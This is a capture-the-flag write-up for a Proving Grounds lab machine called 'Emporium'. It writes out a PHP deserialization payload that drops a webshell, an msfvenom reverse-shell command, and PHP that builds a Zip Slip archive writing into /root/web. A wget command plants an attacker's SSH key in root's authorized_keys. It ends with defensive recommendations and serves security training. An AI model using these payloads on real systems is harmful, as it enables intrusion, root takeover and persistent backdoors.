PG-Practice: Emporium — PHP Object Injection + Zip Slip
Target Overview
| Field | Value |
|---|---|
| Machine Name | Emporium |
| Operating System | Linux |
| Platform | Proving Grounds Practice |
Exploit Chain
| Phase | Action | Details |
|---|---|---|
| Enumeration | Manual browsing & ffuf discovery | Found /backup.zip containing source code |
| Execution | PHP Object Deserialization | Exploited insecure unserialize() with custom class AddSubscriber |
| Initial Access | Arbitrary file write via __destruct() | Dropped shell.php inside webroot to gain RCE |
| Privilege Escalation | Discovered internal service running as root | Enumerated /root/web via pspy64 and abused ZIP extraction logic |
| Impact | Full system compromise | Read /root/root.txt, dumped system-level data |
Reconnaissance
nmap -p- -sV -sC <target>
Enumeration

The site appeared static with no additional pages or endpoints discovered during manual browsing and source inspection — other than /index.php?email=, indicating backend logic that responds to user input.

Tech Stack
The web server was fingerprinted using whatweb:
| Component | Version |
|---|---|
| Apache HTTPD | 2.4.52 |
| jQuery | 1.10.2 |
| HTML5 | — |
| Bootstrap | — |
Directory Brute-Forcing
Directory brute-forcing revealed an archive named backup.zip, containing the application's source code.


Vulnerability Analysis

Source code analysis revealed a hidden functionality triggered by the debug parameter. When debug=true, the application passes a message parameter directly to PHP's unserialize() without sanitization.
The presence of the user-defined class AddSubscriber makes the application vulnerable to PHP Object Injection. By crafting a malicious serialized payload that overrides the $sub_file property, it's possible to write arbitrary content to a file within the web directory.
When the serialized object is passed to unserialize(), PHP recreates it filling in property values directly — ignoring constructor logic. This allows an attacker to set $sub_file to shell.php and $info to a PHP webshell. When the object is garbage-collected, __destruct() runs and writes the shell to disk — leading to RCE.
Constructing the Payload
O:13:"AddSubscriber":2:{s:8:"sub_file";s:9:"shell.php";s:4:"info";s:28:"<?php system($_GET['cmd']); ?>"}O:13— object of classAddSubscriber(length 13)s:8/s:4— property namessub_fileandinfosub_fileset toshell.phpto write the shellinfopopulated with the PHP webshell payload

Exploitation

Initial Foothold

Generated a Linux ELF reverse shell binary with msfvenom, uploaded it via the webshell, and granted execute permissions:
msfvenom -p linux/x64/shell/reverse_tcp LHOST=<attacker> LPORT=80 -f elf -o bp
curl http://192.168.179.223/shell.php?cmd=chmod+777+bp

The ELF binary was unstable and frequently crashed. Fell back to a classic PHP reverse shell for reliable access.

curl 'http://192.168.179.223/rev.php'
local.txt

Privilege Escalation
LinPEAS revealed an internal web application on port 8080.

Running pspy64 confirmed the internal app runs as uid=0 (root), with its web root at /root/web.

Used chisel to set up a reverse port forward and access the internal service:



Source review showed only client-side file upload validation — trivially bypassed.

Uploaded /usr/share/webshell/php/simple-backdoor.php by altering the filename. The uploaded file wasn't accessible at the expected path, so I investigated the extraction logic further.


Each uploaded archive created a new folder under /uploads/$RANDOM_NUMBER/. Only .zip files were fully extracted — confirming archive handling logic was present.
Research identified that the PHP version was vulnerable to Zip Slip (unsafe ZIP extraction allowing path traversal):
CVE-2021-21706— https://vulert.com/vuln-db/CVE-2021-21706
Crafted a malicious ZIP with a path-traversal entry:
<?php
$zipName = "shell";
$fileName = "rev.php";
$zipInternalPath = "../../../../../root/web/" . $fileName;
file_put_contents($fileName, $fileContent);
$zip = new ZipArchive();
$zip->open($zipName, ZipArchive::CREATE | ZipArchive::OVERWRITE);
$zip->addFile($fileName, $zipInternalPath);
$zip->close();
?>The server extracted the ZIP and — due to directory traversal in the path — wrote rev.php directly into /root/web/, achieving RCE as root.

Post-Access

http://127.0.0.1:8080/shell.php?cmd=wget+http://192.168.45.205/key.pub+-O+/root/.ssh/authorized_keys
Recommendations
- Never run web services with root privileges — use a dedicated low-privilege user.
- Never deserialize untrusted user input via
unserialize()without strict class whitelisting. - Use a sandboxed or temporary directory for handling uploaded archives — validate extracted paths before writing.
- Remove backup files (
.zip,.bak) from publicly accessible directories. - Keep PHP and server software updated to patch known extraction vulnerabilities.